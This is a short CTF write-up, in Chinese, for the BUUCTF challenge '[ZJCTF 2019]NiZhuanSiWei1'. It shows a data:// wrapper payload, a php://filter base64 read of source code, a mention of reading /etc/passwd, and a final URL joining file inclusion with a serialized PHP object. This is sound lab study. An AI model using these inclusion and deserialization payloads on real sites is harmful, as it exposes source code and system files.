待完成的任务还有好多呀

  • PHP伪协议
  • 反序列化
  • python 一些框架漏洞(感觉好多都是Cookie的问题)以后简称~~Cookie的秘密~~算了
  • 文件上传user.ini型
  • SQL注入之~360度花式注入

[ZJCTF 2019]NiZhuanSiWei1

file_get_contents($text,'r')读取文件的内容,说明我们首先要上传一个文件,并且它的内容还得是*"welcome to the zjctf"*,我们考虑用data协议,data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中然后让file_get_contents函数取读取。构造如下:

1
data:text/plain,welcome to the zjctf

这里有file参数可控,但是无法直接读取flag,可以直接读取/etc/passwd,但针对php文件我们需要进行base64编码,否则读取不到其内容,所以以下无法使用,

所以下面采用filter来读源码,但上面提到过针对php文件需要base64编码,所以使用其自带的base64过滤器。

1
php://filter/read=convert.base64-encode/resource=useless.php

读到的useless.php内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

可控$file参数 传入flag.php即可

最终Payload:

1
http://f7fe53fb-3576-4fda-8f53-940c07cdb140.node5.buuoj.cn:81/?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}